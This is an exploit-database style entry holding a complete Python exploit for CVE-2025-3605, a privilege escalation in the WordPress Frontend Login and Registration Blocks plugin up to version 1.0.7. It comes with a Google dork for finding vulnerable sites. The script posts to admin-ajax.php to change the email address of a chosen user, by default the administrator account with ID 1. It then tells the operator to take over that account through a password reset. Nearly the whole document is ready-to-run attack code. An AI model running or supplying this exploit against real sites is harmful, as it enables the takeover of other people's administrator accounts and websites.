WordPress Frontend Login and Registration Blocks Plugin 1.0.7 – Privilege Escalation
# Exploit Title: WordPress Frontend Login and Registration Blocks Plugin 1.0.7 - Privilege Escalation # Google Dork: inurl:/wp-content/plugins/frontend-login-and-registration-blocks/ # Date: 2025-05-12 # Exploit Author: Md Shoriful Islam (RootHarpy) # Vendor Homepage: https://wordpress.org/plugins/frontend-login-and-registration-blocks/ # Software Link: https://downloads.wordpress.org/plugin/frontend-login-and-registration-blocks.1.0.7.zip # Version: <= 1.0.7 # Tested on: Ubuntu 22.04 + WordPress 6.5.2 # CVE : CVE-2025-3605 import requests import argparse import sys def display_banner(): banner = """ _____ _____ ___ __ ___ ___ ____ __ __ ___ / __\ \ / / __|_|_ ) \_ ) __|__|__ / / / / \| __| | (__ \ V /| _|___/ / () / /|__ \___|_ \/ _ \ () |__ \ \___| \_/ |___| /___\__/___|___/ |___/\___/\__/|___/ """ print(banner) def suppress_ssl_warnings(): requests.packages.urllib3.disable_warnings() def initialize_session(): new_session = requests.Session() new_session.verify = False new_session.headers.update({'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"}) return new_session def parse_input_args(): parser = argparse.ArgumentParser(description="Exploit for Privilege Escalation in Frontend Login and Registration Plugin <= 1.0.7") parser.add_argument("--target", "-t", required=True, help="Target URL to exploit") parser.add_argument("--target_user", "-u", default="1", help="User ID for target (default: 1)") parser.add_argument("--new_email", "-e", default="example@gmail.com", help="Email to change to (default: example@gmail.com)") return parser.parse_args() def generate_payload(user, email): return { 'action': 'flrblocksusersettingsupdatehandle', 'user_id': user, 'flr-blocks-email-update': email } def execute_exploit(session, target_url, payload): try: return session.post(f"{target_url}/wp-admin/admin-ajax.php", data=payload) except Exception as error: print(f"Request error: {error}") sys.exit(1) def process_response(response): if response.status_code == 200 and response.text.strip() != "0": print(f"Exploit succeeded! Response: {response.text}") print("Next: Go to the Forgot Password page and reset the admin password using the new email!") else: print(f"Exploit failed. HTTP Status: {response.status_code}, Response: {response.text}") def run_exploit(): display_banner() suppress_ssl_warnings() args = parse_input_args() session = initialize_session() payload = generate_payload(args.target_user, args.new_email) response = execute_exploit(session, args.target, payload) process_response(response) if __name__ == "__main__": run_exploit() |